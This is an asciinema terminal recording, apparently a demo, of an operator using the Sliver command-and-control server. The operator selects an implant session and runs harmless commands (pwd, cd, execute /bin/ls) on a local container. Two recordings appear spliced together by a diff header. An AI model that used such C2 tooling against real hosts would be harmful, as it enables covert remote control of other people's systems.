[26.05881, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[26C\u001b[107D\u001b[43C\u001b[?25h"]
[26.261951, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[26.271709, "o", "\u001b[6n"]
[26.276731, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[26.278469, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[44D\u001b[26C\u001b[107D\u001b[44C\u001b[?25h"]
[27.20039, "o", "\u001b[?25l"]
[27.202463, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.208184, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[27.208868, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[26C\u001b[107D\u001b[43C\u001b[?25h"]
[27.702218, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.709463, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[42D\u001b[26C\u001b[107D\u001b[42C\u001b[?25h"]
[27.780314, "o", "\u001b[?25l"]
[27.782576, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.785904, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[27.786407, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[26C\u001b[107D\u001b[41C\u001b[?25h"]
[27.849841, "o", "\u001b[?25l\u001b[107D"]
[27.849996, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.85177, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
[27.852613, "o", "\u001b[40D\u001b[26C\u001b[107D\u001b[40C\u001b[?25h"]
[27.934263, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[27.935215, "o", "\u001b[6n"]
[27.937815, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D"]
[27.938416, "o", "\u001b[26C\u001b[107D\u001b[39C\u001b[?25h"]
[28.018712, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[28.018874, "o", "\u001b[6n"]
[28.02151, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[26C\u001b[107D\u001b[38C\u001b[?25h"]
[28.10701, "o", "\u001b[?25l\u001b[107D"]
[28.108399, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[28.111275, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[26C\u001b[107D\u001b[37C"]
[28.112338, "o", "\u001b[?25h"]
[28.196484, "o", "\u001b[?25l"]
[28.198715, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[28.203237, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[28.203907, "o", "\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
[28.277332, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[28.282855, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D\u001b[35C\u001b[?25h"]
[28.533288, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[28.542459, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[28.543746, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
[28.868304, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[28.869173, "o", "\u001b[6n"]
[28.880099, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-/bin/ls \u001b[39m\u001b[22m/ \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[28.880738, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D\u001b[35C\u001b[?25h"]
[29.19404, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[29.197355, "o", "\u001b[6n"]
[29.20746, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-o/bin/ls \u001b[39m\u001b[22m/ \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[29.208826, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
[29.303177, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[29.303346, "o", "\u001b[6n"]
[29.30501, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-o \u001b[39m\u001b[22m/bin/ls / \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[29.305658, "o", "\u001b[1A\u001b[37D\u001b[26C\u001b[107D\u001b[37C\u001b[?25h"]
[32.966801, "o", "\u001b[37D\u001b[26C"]
[32.967745, "o", "\u001b[6n"]
[32.978194, "o", "\u001b[107D\u001b[47C\u001b[0J\u001b[107D\r\r\n"]
[32.979946, "o", "\u001b[0 q\r\n"]
[33.098088, "o", "\r\u001b[2K ⠋ Executing /bin/ls / ..."]
[33.118263, "o", "\r\u001b[2K"]
[33.11911, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mOutput:\r\nbin\r\nboot\r\ndev\r\netc\r\nhome\r\nlib\r\nlib32\r\nlib64\r\nlibx32\r\nmedia\r\nmnt\r\nopt\r\nproc\r\nroot\r\nrun\r\nsbin\r\nsrv\r\nsys\r\ntmp\r\nusr\r\nvar\r\n\r\n"]
[33.136833, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[33.137974, "o", "\u001b[1 q"]
[33.13849, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[33.141693, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[33.142394, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[37.352368, "o", "\u001b[?25l\u001b[107D"]
[37.353087, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[37.354717, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.355127, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
[37.582877, "o", "\u001b[?25l"]
[37.585677, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[37.595738, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[37.596715, "o", "\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
[38.549862, "o", "\u001b[?25l"]
[38.552822, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[38.56645, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
[38.690797, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[38.69985, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[38.702217, "o", "\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[38.907656, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[38.920832, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[38.921498, "o", "\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
[39.000236, "o", "\u001b[?25l\u001b[107D"]
[39.001099, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.006038, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[39.007044, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
[39.06441, "o", "\u001b[?25l"]
[39.065042, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.067577, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[39.069111, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
[39.185934, "o", "\u001b[?25l\u001b[107D"]
[39.192091, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.199509, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
[39.357202, "o", "\u001b[?25l\u001b[107D"]
[39.357378, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.360949, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
[39.413344, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[39.414766, "o", "\u001b[6n"]
[39.417393, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C"]
[39.419039, "o", "\u001b[107D\u001b[32C\u001b[?25h"]
[39.477169, "o", "\u001b[?25l"]
[39.477965, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.480338, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
[39.54931, "o", "\u001b[?25l\u001b[107D"]
[39.550242, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.552782, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
[39.638767, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[39.650342, "o", "\u001b[6n"]
[39.652449, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C"]
[39.653044, "o", "\u001b[107D\u001b[35C\u001b[?25h"]
[39.785124, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.795851, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
[40.033815, "o", "\u001b[36D\u001b[26C"]
[40.040687, "o", "\u001b[6n"]
[40.047095, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
[40.048211, "o", "\u001b[0 q\r\n"]
[40.073042, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
[40.082883, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[40.083371, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.08517, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C"]
[40.085757, "o", "\u001b[107D\u001b[9C\u001b[?25h"]
[41.082976, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[41.095274, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[41.096137, "o", "\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[41.222323, "o", "\u001b[?25l\u001b[107D"]
[41.223394, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[41.226145, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
[41.226932, "o", "\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[41.347974, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[41.348233, "o", "\u001b[6n"]
[41.352748, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r"]
[41.352926, "o", "\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[41.513029, "o", "\u001b[?25l"]
[41.513904, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[41.518602, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[41.521172, "o", "\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
[41.725387, "o", "\u001b[13D\u001b[9C"]
[41.727136, "o", "\u001b[6n"]
[41.730055, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
[41.731351, "o", "\u001b[0 q\r\n"]
[41.755961, "o", "Exiting...\r\n"]
[41.782934, "o", "\u001b[?2004h"]
[41.783254, "o", "root@98df0494f659:~# "]
[42.976879, "o", "\u001b[?2004l\r\r\n"]
[42.978376, "o", "exit\r\n"]
@@ -0,0 +1,719 @@
{"version": 2, "width": 133, "height": 91, "timestamp": 1714569350, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
[0.130371, "o", "\u001b[?2004h"]
[0.138191, "o", "root@98df0494f659:~# "]
[0.822762, "o", "."]
[0.858066, "o", "/"]
[1.075045, "o", "s"]
[1.209517, "o", "l"]
[1.27683, "o", "i"]
[1.403244, "o", "v"]
[1.607254, "o", "e"]
[1.736418, "o", "r"]
[1.923876, "o", "-"]
[2.087303, "o", "s"]
[2.1209, "o", "e"]
[2.218423, "o", "r"]
[2.496957, "o", "v"]
[2.641655, "o", "e"]
[2.752513, "o", "r"]
[2.85634, "o", "\r\n"]
[2.861432, "o", "\u001b[?2004l\r"]
[3.947825, "o", "\u001b[31m\r\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\r\n\u001b[0m\r\nAll hackers gain dash\r\r\n"]
[3.950273, "o", "\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
[3.976294, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.978246, "o", "\u001b[1 q"]
[3.980126, "o", "\u001b[?25l"]
[3.980339, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.981302, "o", "\u001b[6n"]
[3.983115, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[3.983794, "o", "\u001b[0K\u001b[0J\u001b[133D"]
[3.984946, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[5.795125, "o", "\u001b[9D\u001b[9C\u001b[133D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession 414ff5a2 CURRENT_RESIST - 127.0.0.1:57792 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 13:15:56 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l"]
[5.795881, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.798279, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.798391, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[7.044203, "o", "\u001b[?25l\u001b[133D"]
[7.044533, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.045765, "o", "\u001b[6n"]
[7.048892, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[7.049024, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
[7.106935, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.107677, "o", "\u001b[6n"]
[7.109587, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
[7.204271, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.204493, "o", "\u001b[6n"]
[7.208434, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
[7.799665, "o", "\u001b[12D\u001b[9C"]
[7.800619, "o", "\u001b[6n"]
[7.807947, "o", "\u001b[133D\u001b[12C\u001b[0J\u001b[133D\r"]
[7.808631, "o", "\r\n"]
[7.811014, "o", "\u001b[0 q"]
[7.812007, "o", "\r\n"]
[7.845059, "o", "\u001b7\u001b[?25l"]
[7.845489, "o", "\u001b8"]
[7.84579, "o", "\u001b[0G\u001b[2K"]
[7.860586, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION 414ff5a2 CURRENT_RESIST 127.0.0.1:57792 98df0494f659 root linux/amd64\u001b[0m\r\n"]
[7.861105, "o", "\u001b7"]
[7.864089, "o", "\u001b[1A"]
[7.864266, "o", "\u001b[0G"]
[8.456892, "o", "\u001b8\u001b[?25h"]
[8.466113, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION 414ff5a2 CURRENT_RESIST 127.0.0.1:57792 98df0494f659 root linux/amd64\u001b[0m\r\n"]
[8.471343, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CURRENT_RESIST (414ff5a2-5ca5-478e-9dea-58528f458f1d)\r\n"]
[8.518657, "o", "\r\n"]
[8.530041, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[8.530224, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[8.530453, "o", "\u001b[6n"]
[8.532344, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[8.532865, "o", "\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[9.393469, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[9.410358, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[9.659443, "o", "\u001b[?25l"]
[9.660932, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[9.663996, "o", "pw\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
[9.770023, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[9.771583, "o", "\u001b[6n"]
[9.778511, "o", "\u001b[1m\u001b[32mpwd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[9.779725, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[10.699491, "o", "\u001b[29D\u001b[26C\u001b[6n"]
[10.709062, "o", "\u001b[133D\u001b[29C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
[10.794351, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/root"]
[10.795943, "o", "\r\n\r\n"]
[10.804909, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[10.805335, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[10.806558, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[12.258373, "o", "\u001b[?25l\u001b[133D"]
[12.259451, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[12.272934, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[12.273707, "o", "\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[12.312368, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[12.313519, "o", "\u001b[6n"]
[12.316635, "o", "\u001b[1m\u001b[32mcd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[12.318426, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
[12.408489, "o", "\u001b[?25l\u001b[133D"]
[12.409902, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[12.41272, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[12.716526, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[12.725977, "o", "\u001b[6n"]
[12.730108, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[12.731837, "o", "\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[12.891931, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[12.902647, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[12.903997, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
[12.966582, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[12.969041, "o", "\u001b[6n"]
[12.973452, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/et\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[12.974873, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
[13.23578, "o", "\u001b[?25l"]
[13.236497, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
